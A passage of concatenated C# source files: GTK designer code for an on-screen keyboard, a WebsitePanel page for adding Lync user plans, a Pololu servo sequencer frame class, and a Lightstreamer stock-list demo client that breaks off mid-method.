global::Gtk.Label (); this.label7.Name = "label7"; this.label7.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA6.Add (this.label7); this.btnA6.Label = null; this.pneTeclado.Add (this.btnA6); global::Gtk.Table.TableChild w76 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA6])); w76.LeftAttach = ((uint)(6)); w76.RightAttach = ((uint)(7)); w76.XOptions = ((global::Gtk.AttachOptions)(4)); w76.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA7 = new global::Gtk.Button (); this.btnA7.WidthRequest = 80; this.btnA7.HeightRequest = 80; this.btnA7.CanFocus = true; this.btnA7.Name = "btnA7"; // Container child btnA7.Gtk.Container+ContainerChild this.label8 = new global::Gtk.Label (); this.label8.Name = "label8"; this.label8.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA7.Add (this.label8); this.btnA7.Label = null; this.pneTeclado.Add (this.btnA7); global::Gtk.Table.TableChild w78 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA7])); w78.LeftAttach = ((uint)(7)); w78.RightAttach = ((uint)(8)); w78.XOptions = ((global::Gtk.AttachOptions)(4)); w78.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA8 = new global::Gtk.Button (); this.btnA8.WidthRequest = 80; this.btnA8.HeightRequest = 80; this.btnA8.CanFocus = true; this.btnA8.Name = "btnA8"; // Container child btnA8.Gtk.Container+ContainerChild this.label9 = new global::Gtk.Label (); this.label9.Name = "label9"; this.label9.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA8.Add (this.label9); this.btnA8.Label = null; this.pneTeclado.Add (this.btnA8); global::Gtk.Table.TableChild w80 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA8])); w80.LeftAttach = ((uint)(8)); w80.RightAttach = ((uint)(9)); w80.XOptions = ((global::Gtk.AttachOptions)(4)); w80.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnA9 = new global::Gtk.Button (); this.btnA9.WidthRequest = 80; this.btnA9.HeightRequest = 80; this.btnA9.CanFocus = true; this.btnA9.Name = "btnA9"; // Container child btnA9.Gtk.Container+ContainerChild this.label10 = new global::Gtk.Label (); this.label10.Name = "label10"; this.label10.LabelProp = global::Mono.Unix.Catalog.GetString ("label1"); this.btnA9.Add (this.label10); this.btnA9.Label = null; this.pneTeclado.Add (this.btnA9); global::Gtk.Table.TableChild w82 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnA9])); w82.LeftAttach = ((uint)(9)); w82.RightAttach = ((uint)(10)); w82.XOptions = ((global::Gtk.AttachOptions)(4)); w82.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnEcho = new global::Gtk.Button (); this.btnEcho.WidthRequest = 80; this.btnEcho.HeightRequest = 80; this.btnEcho.CanFocus = true; this.btnEcho.Name = "btnEcho"; // Container child btnEcho.Gtk.Container+ContainerChild global::Gtk.Alignment w83 = new global::Gtk.Alignment (0.5f, 0.5f, 0f, 0f); // Container child GtkAlignment.Gtk.Container+ContainerChild global::Gtk.HBox w84 = new global::Gtk.HBox (); w84.Spacing = 2; // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Image w85 = new global::Gtk.Image (); w85.Pixbuf = global::Stetic.IconLoader.LoadIcon (this, "gtk-apply", global::Gtk.IconSize.Dialog); w84.Add (w85); // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Label w87 = new global::Gtk.Label (); w84.Add (w87); w83.Add (w84); this.btnEcho.Add (w83); this.pneTeclado.Add (this.btnEcho); global::Gtk.Table.TableChild w91 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnEcho])); w91.TopAttach = ((uint)(3)); w91.BottomAttach = ((uint)(4)); w91.LeftAttach = ((uint)(9)); w91.RightAttach = ((uint)(10)); w91.XOptions = ((global::Gtk.AttachOptions)(4)); w91.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnEspaciador = new global::Gtk.Button (); this.btnEspaciador.WidthRequest = 80; this.btnEspaciador.HeightRequest = 80; this.btnEspaciador.CanFocus = true; this.btnEspaciador.Name = "btnEspaciador"; // Container child btnEspaciador.Gtk.Container+ContainerChild this.label38 = new global::Gtk.Label (); this.label38.Name = "label38"; this.label38.LabelProp = global::Mono.Unix.Catalog.GetString ("<span size='xx-large' >ESPACIO</span>"); this.label38.UseMarkup = true; this.btnEspaciador.Add (this.label38); this.btnEspaciador.Label = null; this.pneTeclado.Add (this.btnEspaciador); global::Gtk.Table.TableChild w93 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnEspaciador])); w93.TopAttach = ((uint)(3)); w93.BottomAttach = ((uint)(4)); w93.LeftAttach = ((uint)(2)); w93.RightAttach = ((uint)(8)); w93.XOptions = ((global::Gtk.AttachOptions)(4)); w93.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnEspecial = new global::Gtk.ToggleButton (); this.btnEspecial.CanFocus = true; this.btnEspecial.Name = "btnEspecial"; this.btnEspecial.UseUnderline = true; // Container child btnEspecial.Gtk.Container+ContainerChild global::Gtk.Alignment w94 = new global::Gtk.Alignment (0.5f, 0.5f, 0f, 0f); // Container child GtkAlignment.Gtk.Container+ContainerChild global::Gtk.HBox w95 = new global::Gtk.HBox (); w95.Spacing = 2; // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Image w96 = new global::Gtk.Image (); w96.Pixbuf = global::Gdk.Pixbuf.LoadFromResource ("Valle.GtkUtilidades.iconos.charEsp.png"); w95.Add (w96); // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Label w98 = new global::Gtk.Label (); w95.Add (w98); w94.Add (w95); this.btnEspecial.Add (w94); this.pneTeclado.Add (this.btnEspecial); global::Gtk.Table.TableChild w102 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnEspecial])); w102.TopAttach = ((uint)(3)); w102.BottomAttach = ((uint)(4)); w102.LeftAttach = ((uint)(8)); w102.RightAttach = ((uint)(9)); w102.XOptions = ((global::Gtk.AttachOptions)(4)); w102.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnMayuFija = new global::Gtk.ToggleButton (); this.btnMayuFija.CanFocus = true; this.btnMayuFija.Name = "btnMayuFija"; this.btnMayuFija.UseUnderline = true; // Container child btnMayuFija.Gtk.Container+ContainerChild global::Gtk.Alignment w103 = new global::Gtk.Alignment (0.5f, 0.5f, 0f, 0f); // Container child GtkAlignment.Gtk.Container+ContainerChild global::Gtk.HBox w104 = new global::Gtk.HBox (); w104.Spacing = 2; // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Image w105 = new global::Gtk.Image (); w105.Pixbuf = global::Stetic.IconLoader.LoadIcon (this, "stock_lock", global::Gtk.IconSize.Dialog); w104.Add (w105); // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Label w107 = new global::Gtk.Label (); w104.Add (w107); w103.Add (w104); this.btnMayuFija.Add (w103); this.pneTeclado.Add (this.btnMayuFija); global::Gtk.Table.TableChild w111 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnMayuFija])); w111.TopAttach = ((uint)(3)); w111.BottomAttach = ((uint)(4)); w111.LeftAttach = ((uint)(1)); w111.RightAttach = ((uint)(2)); w111.XOptions = ((global::Gtk.AttachOptions)(4)); w111.YOptions = ((global::Gtk.AttachOptions)(4)); // Container child pneTeclado.Gtk.Table+TableChild this.btnMayUnpos = new global::Gtk.ToggleButton (); this.btnMayUnpos.CanFocus = true; this.btnMayUnpos.Name = "btnMayUnpos"; this.btnMayUnpos.UseUnderline = true; // Container child btnMayUnpos.Gtk.Container+ContainerChild global::Gtk.Alignment w112 = new global::Gtk.Alignment (0.5f, 0.5f, 0f, 0f); // Container child GtkAlignment.Gtk.Container+ContainerChild global::Gtk.HBox w113 = new global::Gtk.HBox (); w113.Spacing = 2; // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Image w114 = new global::Gtk.Image (); w114.Pixbuf = global::Stetic.IconLoader.LoadIcon (this, "gtk-goto-top", global::Gtk.IconSize.Dialog); w113.Add (w114); // Container child GtkHBox.Gtk.Container+ContainerChild global::Gtk.Label w116 = new global::Gtk.Label (); w113.Add (w116); w112.Add (w113); this.btnMayUnpos.Add (w112); this.pneTeclado.Add (this.btnMayUnpos); global::Gtk.Table.TableChild w120 = ((global::Gtk.Table.TableChild)(this.pneTeclado[this.btnMayUnpos])); w120.TopAttach = ((uint)(3)); w120.BottomAttach = ((uint)(4)); w120.XOptions = ((global::Gtk.AttachOptions)(4)); w120.YOptions = ((global::Gtk.AttachOptions)(4)); this.vbox1.Add (this.pneTeclado); global::Gtk.Box.BoxChild w121 = ((global::Gtk.Box.BoxChild)(this.vbox1[this.pneTeclado])); w121.Position = 2; w121.Expand = false; w121.Fill = false; this.Add (this.vbox1); if ((this.Child != null)) { this.Child.ShowAll (); } this.DefaultWidth = 886; this.DefaultHeight = 538; this.btnBackSp.Clicked += new global::System.EventHandler (this.btnBackSp_Click_1); this.btnBorrar.Clicked += new global::System.EventHandler (this.btnCancelar_Click); this.btnMayUnpos.Clicked += new global::System.EventHandler (this.btnMayUnpos_Click); this.btnMayuFija.Clicked += new global::System.EventHandler (this.btnMayuFija_Click); this.btnEspecial.Clicked += new global::System.EventHandler (this.btnSpecial_Click); this.btnEspaciador.Clicked += new global::System.EventHandler (this.btnEspaciador_Click); this.btnEcho.Clicked += new global::System.EventHandler (this.btnAceptar_Click); this.btnA9.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA8.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA7.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA6.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA5.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA4.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA31.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA30.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA3.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA29.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA28.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA27.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA26.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA25.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA24.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA23.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA22.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA20.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA2.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA19.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA18.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA17.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA16.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA15.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA14.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA13.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA12.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA11.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA1.Clicked += new global::System.EventHandler (this.Tecla_clik); this.btnA.Clicked += new global::System.EventHandler (this.Tecla_clik); } } }
// Copyright (c) 2015, Outercurve Foundation. // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // - Redistributions of source code must retain the above copyright notice, this // list of conditions and the following disclaimer. // // - Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // - Neither the name of the Outercurve Foundation nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. using System; using WebsitePanel.EnterpriseServer; using WebsitePanel.Providers.HostedSolution; using WebsitePanel.Providers.ResultObjects; using WebsitePanel.Providers; using WebsitePanel.Providers.Web; using WebsitePanel.Providers.Common; using WebsitePanel.Portal.Code.Helpers; namespace WebsitePanel.Portal.Lync { public partial class LyncAddLyncUserPlan : WebsitePanelModuleBase { protected void Page_Load(object sender, EventArgs e) { PackageContext cntx = PackagesHelper.GetCachedPackageContext(PanelSecurity.PackageId); if (!IsPostBack) { string[] archivePolicy = ES.Services.Lync.GetPolicyList(PanelRequest.ItemID, LyncPolicyType.Archiving, null); if (archivePolicy != null) { foreach (string policy in archivePolicy) { if (policy.ToLower()=="global") continue; string txt = policy.Replace("Tag:",""); ddArchivingPolicy.Items.Add( new System.Web.UI.WebControls.ListItem( txt, policy) ); } } if (PanelRequest.GetInt("LyncUserPlanId") != 0) { Providers.HostedSolution.LyncUserPlan plan = ES.Services.Lync.GetLyncUserPlan(PanelRequest.ItemID, PanelRequest.GetInt("LyncUserPlanId")); txtPlan.Text = plan.LyncUserPlanName; chkIM.Checked = plan.IM; chkIM.Enabled = false; chkFederation.Checked = plan.Federation; chkConferencing.Checked = plan.Conferencing; chkMobility.Checked = plan.Mobility; chkEnterpriseVoice.Checked = plan.EnterpriseVoice; /* because not used switch (plan.VoicePolicy) { case LyncVoicePolicyType.None: break; case LyncVoicePolicyType.Emergency: chkEmergency.Checked = true; break; case LyncVoicePolicyType.National: chkNational.Checked = true; break; case LyncVoicePolicyType.Mobile: chkMobile.Checked = true; break; case LyncVoicePolicyType.International: chkInternational.Checked = true; break; default: chkNone.Checked = true; break; } */ chkRemoteUserAccess.Checked = plan.RemoteUserAccess; chkAllowOrganizeMeetingsWithExternalAnonymous.Checked = plan.AllowOrganizeMeetingsWithExternalAnonymous; Utils.SelectListItem(ddTelephony, plan.Telephony); tbServerURI.Text = plan.ServerURI; string planArchivePolicy = ""; if (plan.ArchivePolicy != null) planArchivePolicy = plan.ArchivePolicy; string planTelephonyDialPlanPolicy = ""; if (plan.TelephonyDialPlanPolicy != null) planTelephonyDialPlanPolicy = plan.TelephonyDialPlanPolicy; string planTelephonyVoicePolicy = ""; if (plan.TelephonyVoicePolicy != null) planTelephonyVoicePolicy = plan.TelephonyVoicePolicy; ddArchivingPolicy.Items.Clear(); ddArchivingPolicy.Items.Add(new System.Web.UI.WebControls.ListItem(planArchivePolicy.Replace("Tag:", ""), planArchivePolicy)); ddTelephonyDialPlanPolicy.Items.Clear(); ddTelephonyDialPlanPolicy.Items.Add(new System.Web.UI.WebControls.ListItem(planTelephonyDialPlanPolicy.Replace("Tag:", ""), planTelephonyDialPlanPolicy)); ddTelephonyVoicePolicy.Items.Clear(); ddTelephonyVoicePolicy.Items.Add(new System.Web.UI.WebControls.ListItem(planTelephonyVoicePolicy.Replace("Tag:", ""), planTelephonyVoicePolicy)); locTitle.Text = plan.LyncUserPlanName; this.DisableControls = true; } else { chkIM.Checked = true; chkIM.Enabled = false; // chkNone.Checked = true; because not used if (cntx != null) { foreach (QuotaValueInfo quota in cntx.QuotasArray) { switch (quota.QuotaId) { case 371: chkFederation.Checked = Convert.ToBoolean(quota.QuotaAllocatedValue); chkFederation.Enabled = Convert.ToBoolean(quota.QuotaAllocatedValue); break; case 372: chkConferencing.Checked = Convert.ToBoolean(quota.QuotaAllocatedValue); chkConferencing.Enabled = Convert.ToBoolean(quota.QuotaAllocatedValue); break; } } } else this.DisableControls = true; } } bool enterpriseVoiceQuota = Utils.CheckQouta(Quotas.LYNC_ENTERPRISEVOICE, cntx); PlanFeaturesTelephony.Visible = enterpriseVoiceQuota; secPlanFeaturesTelephony.Visible = enterpriseVoiceQuota; if (!enterpriseVoiceQuota) Utils.SelectListItem(ddTelephony, "0"); bool enterpriseVoice = enterpriseVoiceQuota && (ddTelephony.SelectedValue == "2"); chkEnterpriseVoice.Enabled = false; chkEnterpriseVoice.Checked = enterpriseVoice; pnEnterpriseVoice.Visible = enterpriseVoice; switch (ddTelephony.SelectedValue) { case "3": case "4": pnServerURI.Visible = true; break; default: pnServerURI.Visible = false; break; } } protected void btnAdd_Click(object sender, EventArgs e) { AddPlan(); } protected void btnAccept_Click(object sender, EventArgs e) { string name = tbTelephoneProvider.Text; if (string.IsNullOrEmpty(name)) return; ddTelephonyDialPlanPolicy.Items.Clear(); string[] dialPlan = ES.Services.Lync.GetPolicyList(PanelRequest.ItemID, LyncPolicyType.DialPlan, name); if (dialPlan != null) { foreach (string policy in dialPlan) { if (policy.ToLower() == "global") continue; string txt = policy.Replace("Tag:", ""); ddTelephonyDialPlanPolicy.Items.Add(new System.Web.UI.WebControls.ListItem(txt, policy)); } } ddTelephonyVoicePolicy.Items.Clear(); string[] voicePolicy = ES.Services.Lync.GetPolicyList(PanelRequest.ItemID, LyncPolicyType.Voice, name); if (voicePolicy != null) { foreach (string policy in voicePolicy) { if (policy.ToLower() == "global") continue; string txt = policy.Replace("Tag:", ""); ddTelephonyVoicePolicy.Items.Add(new System.Web.UI.WebControls.ListItem(txt, policy)); } } } private void AddPlan() { try { PackageContext cntx = PackagesHelper.GetCachedPackageContext(PanelSecurity.PackageId); Providers.HostedSolution.LyncUserPlan plan = new Providers.HostedSolution.LyncUserPlan(); plan.LyncUserPlanName = txtPlan.Text; plan.IsDefault = false; plan.IM = true; plan.Mobility = chkMobility.Checked; plan.Federation = chkFederation.Checked; plan.Conferencing = chkConferencing.Checked; bool enterpriseVoiceQuota = Utils.CheckQouta(Quotas.LYNC_ENTERPRISEVOICE, cntx); bool enterpriseVoice = enterpriseVoiceQuota && (ddTelephony.SelectedValue == "2"); plan.EnterpriseVoice = enterpriseVoice; plan.VoicePolicy = LyncVoicePolicyType.None; /* because not used if (!plan.EnterpriseVoice) { plan.VoicePolicy = LyncVoicePolicyType.None; } else { if (chkEmergency.Checked) plan.VoicePolicy = LyncVoicePolicyType.Emergency; else if (chkNational.Checked) plan.VoicePolicy = LyncVoicePolicyType.National; else if (chkMobile.Checked) plan.VoicePolicy = LyncVoicePolicyType.Mobile; else if (chkInternational.Checked) plan.VoicePolicy = LyncVoicePolicyType.International; else plan.VoicePolicy = LyncVoicePolicyType.None; } */ plan.RemoteUserAccess = chkRemoteUserAccess.Checked; plan.AllowOrganizeMeetingsWithExternalAnonymous = chkAllowOrganizeMeetingsWithExternalAnonymous.Checked; int telephonyId = -1; int.TryParse(ddTelephony.SelectedValue, out telephonyId); plan.Telephony = telephonyId; plan.ServerURI = tbServerURI.Text; plan.ArchivePolicy = ddArchivingPolicy.SelectedValue; plan.TelephonyDialPlanPolicy = ddTelephonyDialPlanPolicy.SelectedValue; plan.TelephonyVoicePolicy = ddTelephonyVoicePolicy.SelectedValue; int result = ES.Services.Lync.AddLyncUserPlan(PanelRequest.ItemID, plan); if (result < 0) { messageBox.ShowResultMessage(result); messageBox.ShowErrorMessage("LYNC_UNABLE_TO_ADD_PLAN"); return; } Response.Redirect(EditUrl("ItemID", PanelRequest.ItemID.ToString(), "lync_userplans", "SpaceID=" + PanelSecurity.PackageId)); } catch (Exception ex) { messageBox.ShowErrorMessage("LYNC_ADD_PLAN", ex); } } } }
using System; using System.Collections.Generic; using System.Windows.Forms; using System.Xml; using System.Text; namespace Pololu.Usc.Sequencer { [Serializable] // So that it can be put in the clipboard public class Frame { public string name; private ushort[] privateTargets; public ushort length_ms; /// <summary> /// Gets the target of the given channel. /// </summary> /// <remarks> /// By retreiving targets this way, we protect the application against /// any kind of case where the Frame object might have fewer targets /// than expected. /// </remarks> [System.Runtime.CompilerServices.IndexerName("target")] public ushort this[int channel] { get { if (privateTargets == null || channel >= privateTargets.Length) { return 0; } return privateTargets[channel]; } } public ushort[] targets { set { privateTargets = value; } } /// <summary> /// Returns a string with all the servo positions, separated by spaces, /// e.g. "0 0 4000 0 1000 0 0". /// </summary> /// <returns></returns> public string getTargetsString() { string targetsString = ""; for (int i = 0; i < privateTargets.Length; i++) { if (i != 0) { targetsString += " "; } targetsString += privateTargets[i].ToString(); } return targetsString; } /// <summary> /// Returns a string the name, duration, and all servo positions, separated by tabs. /// e.g. "Frame 1 500 0 0 0 4000 8000" /// </summary> /// <returns></returns> private string getTabSeparatedString() { string tabString = name + "\t" + length_ms; foreach (ushort target in privateTargets) { tabString += "\t" + target; } return tabString; } /// <summary> /// Take a (potentially malformed) string with target numbers separated by spaces /// and use it to set the targets. /// </summary> /// <param name="targetsString"></param> /// <param name="servoCount"></param> public void setTargetsFromString(string targetsString, byte servoCount) { ushort[] tmpTargets = new ushort[servoCount]; string[] targetStrings = targetsString.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < targetStrings.Length && i < servoCount; i++) { try { tmpTargets[i] = ushort.Parse(targetStrings[i]); } catch { } } this.targets = tmpTargets; } public void writeXml(XmlWriter writer) { writer.WriteStartElement("Frame"); writer.WriteAttributeString("name", name); writer.WriteAttributeString("duration", length_ms.ToString()); writer.WriteString(getTargetsString()); writer.WriteEndElement(); } public static void copyToClipboard(List<Frame> frames) { if (frames.Count == 0) { return; } DataObject data = new DataObject(); data.SetData(frames.ToArray()); if (frames.Count == 1) { // Not necessary, but Microsoft recommends that we should // place data on the clipboard in as many formats possible. data.SetData(frames[0]); } StringBuilder sb = new StringBuilder(); foreach (Frame frame in frames) { sb.AppendLine(frame.getTabSeparatedString()); } data.SetText(sb.ToString()); Clipboard.SetDataObject(data, true); } public static List<Frame> getFromClipboard() { Frame[] frameArray = Clipboard.GetData("Pololu.Usc.Sequencer.Frame[]") as Frame[]; if (frameArray != null) { return new List<Frame>(frameArray); } Frame frameDirect = Clipboard.GetData("Pololu.Usc.Sequencer.Frame") as Frame; if (frameDirect != null) { return new List<Frame> { frameDirect }; } if (Clipboard.ContainsText()) { // Tab-separated-values for interop with spreadsheet programs. List<Frame> frames = new List<Frame>(); String[] rows = Clipboard.GetText().Split('\n'); foreach (String row in rows) { String[] parts = row.Split('\t'); if (parts.Length < 3) { // There are not enough tab-separated parts available // for name, duration, and one target so this line has // no chance of being a frame. Go to the next line. continue; } Frame frame = new Frame(); frame.name = parts[0]; // Prevent importing ridiculously long names. if (frame.name.Length > 80) { frame.name = frame.name.Substring(0, 80); } try { frame.length_ms = ushort.Parse(parts[1]); } catch { frame.length_ms = 500; } List<ushort> targets = new List<ushort>(); for (int i = 2; i < parts.Length; i++) { try { targets.Add(ushort.Parse(parts[i])); } catch { targets.Add(0); } } frame.targets = targets.ToArray(); frames.Add(frame); } return frames; } return null; } } }
#region License /* * Copyright (c) Lightstreamer Srl * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #endregion License using System; using System.Threading; using Lightstreamer.DotNet.Client.Test; using com.lightstreamer.client; using System.Collections.Generic; namespace DotNetStockListDemo { public class StocklistClient { private DemoForm demoForm; private LightstreamerUpdateDelegate updateDelegate; private LightstreamerStatusChangedDelegate statusChangeDelegate; private LightstreamerClient client; private Subscription subscription; private Dictionary<ChartQuotes, Subscription> charts = new Dictionary<ChartQuotes, Subscription>(); public StocklistClient( string pushServerUrl, string forceT, DemoForm form, LightstreamerUpdateDelegate lsUpdateDelegate, LightstreamerStatusChangedDelegate lsStatusChangeDelegate) { demoForm = form; updateDelegate = lsUpdateDelegate; statusChangeDelegate = lsStatusChangeDelegate; LightstreamerClient.setLoggerProvider(new Log4NetLoggerProviderWrapper()); client = new LightstreamerClient(pushServerUrl, "DEMO"); client.connectionOptions.RetryDelay = 3500; switch (forceT) { case "websocket": client.connectionOptions.ForcedTransport = "WS"; break; case "http": client.connectionOptions.ForcedTransport = "HTTP"; break; case "polling": client.connectionOptions.ForcedTransport = "HTTP-POLLING"; break; default: break; } } private int phase = 0; private int reset = 0; public void Start(int ph) { if (ph != this.phase) { // ignore old calls return; } this.Start(); } public void Start() { int ph = Interlocked.Increment(ref this.phase); Thread t = new Thread(new ThreadStart(delegate() { Execute(ph); })); t.Start(); } public void Reset() { if ( Interlocked.CompareExchange(ref this.reset, 1, 0) == 0 ) { Disconnect(this.phase); } } private void Execute(int ph) { if (ph != this.phase) { return; } ph = Interlocked.Increment(ref this.phase); this.Connect(ph); this.Subscribe(); } public void StatusChanged(int ph, int cStatus, string status) { /* if (ph != this.phase) return; */ demoForm.Invoke(statusChangeDelegate, new Object[] { cStatus, status }); if ( cStatus == 0 ) { if ( Interlocked.CompareExchange(ref this.reset, 0, 1) == 1 ) { Thread.Sleep(2500); int phs = Interlocked.Increment(ref this.phase); Thread t = new Thread(new ThreadStart(delegate () { Execute(phs); })); t.Start(); } } } public void UpdateReceived(int ph, int itemPos, ItemUpdate update) { if (ph != this.phase) return; demoForm.BeginInvoke(updateDelegate, new Object[] { itemPos, update }); } public void subscribeChart(string item, ChartQuotes receiver) { try { if (charts.ContainsKey(receiver)) return; // We subscribes it again because we don't want any // restriction to updates frequecy of the main subscription. Subscription s_stocks = new Subscription("MERGE"); s_stocks.Fields = new string[3] { "last_price", "time", "stock_name" }; s_stocks.Items = new string[1] { item }; s_stocks.DataAdapter = "QUOTE_ADAPTER"; s_stocks.RequestedSnapshot = "yes"; s_stocks.RequestedMaxFrequency = "3.0"; s_stocks.addListener(new ChartListener(">> ", receiver)); charts.Add(receiver, s_stocks); client.subscribe(s_stocks); } catch (Exception ex) { Console.WriteLine("Exception while subscribing: " + ex.Message); Console.WriteLine(ex.StackTrace); } } public void stopSubscribeChart(ChartQuotes receiver) { try { Subscription s_stocks = charts[receiver]; client.unsubscribe(s_stocks); } catch (Exception ex) { Console.WriteLine("Exception while subscribing: " + ex.Message); Console.WriteLine(ex.StackTrace); } } private void Connect(int ph) { bool connected = false; //this method will not exit until the openConnection returns without throwing an exception while (!connected) { demoForm.Invoke(statusChangeDelegate, new Object[] { StocklistConnectionListener.VOID, "Connecting to Lightstreamer Server @ " + client.connectionDetails.ServerAddress }); try { if (ph != this.phase) return; ph = Interlocked.Increment(ref this.phase); client.addListener(new StocklistConnectionListener(this, ph)); client.connect(); connected = true; } catch (Exception e) { demoForm.Invoke(statusChangeDelegate, new Object[] { StocklistConnectionListener.VOID, e.Message }); } if (!connected) { Thread.Sleep(5000); } } } private void Disconnect(int ph) { demoForm.Invoke(statusChangeDelegate, new Object[] { StocklistConnectionListener.VOID, "Disconnecting to Lightstreamer Server @ " + client.connectionDetails.ServerAddress }); try { client.disconnect(); } catch (Exception e) { demoForm.Invoke(statusChangeDelegate, new Object[] { StocklistConnectionListener.VOID, e.Message }); } } private void Subscribe() { //this method will try just one subscription. //we know that when this method executes we should be already connected //If we're not or we disconnect while subscribing we don't have to do anything here as an //event will be (or was) sent to the ConnectionListener that will handle the case. //If we're connected but the subscription fails we can't do anything as the same subscription //would fail again and again (btw this should never happen) try { subscription = new Subscription("MERGE", new string[30] { "item1", "item2", "item3", "item4", "item5", "item6", "item7", "item8", "item9", "item10", "item11", "item12", "item13", "item14", "item15", "item16", "item17", "item18", "item19", "item20", "item21", "item22", "item23", "item24", "item25", "item26", "item27", "item28", "item29", "item30" }, new string[12]{ "stock_name", "last_price", "time", "pct_change", "bid_quantity", "bid", "ask", "ask_quantity", "min", "max", "ref_price", "open_price"}); subscription.DataAdapter = "QUOTE_ADAPTER"; subscription.RequestedSnapshot = "yes"; subscription.addListener(new StocklistSubscriptionListener(this, this.phase)); client.subscribe(subscription); } catch (Exception e) { demoForm.Invoke(statusChangeDelegate, new Object[] { StocklistConnectionListener.VOID, e.Message }); } } internal void ForceTransport(string selectedText) { if (selectedText.StartsWith("no")) { client.connectionOptions.ForcedTransport = null; } else { client.connectionOptions.ForcedTransport = selectedText; } } internal void MaxFrequency(int value) { switch (value) { case 0: subscription.RequestedMaxFrequency = "unlimited"; break; case 1: subscription.RequestedMaxFrequency = "5"; break; case 2: subscription.RequestedMaxFrequency = "2"; break; case 3: subscription.RequestedMaxFrequency = "1"; break; case 4: subscription.RequestedMaxFrequency = "0.5"; break; case 5: subscription.RequestedMaxFrequency = "0.3"; break; case 6: subscription.RequestedMaxFrequency = "0.2"; break; case 7: subscription.RequestedMaxFrequency = "0.1"; break; case 8: subscription.RequestedMaxFrequency = "0.05"; break; case 9: subscription.RequestedMaxFrequency = "0.01"; break; default: 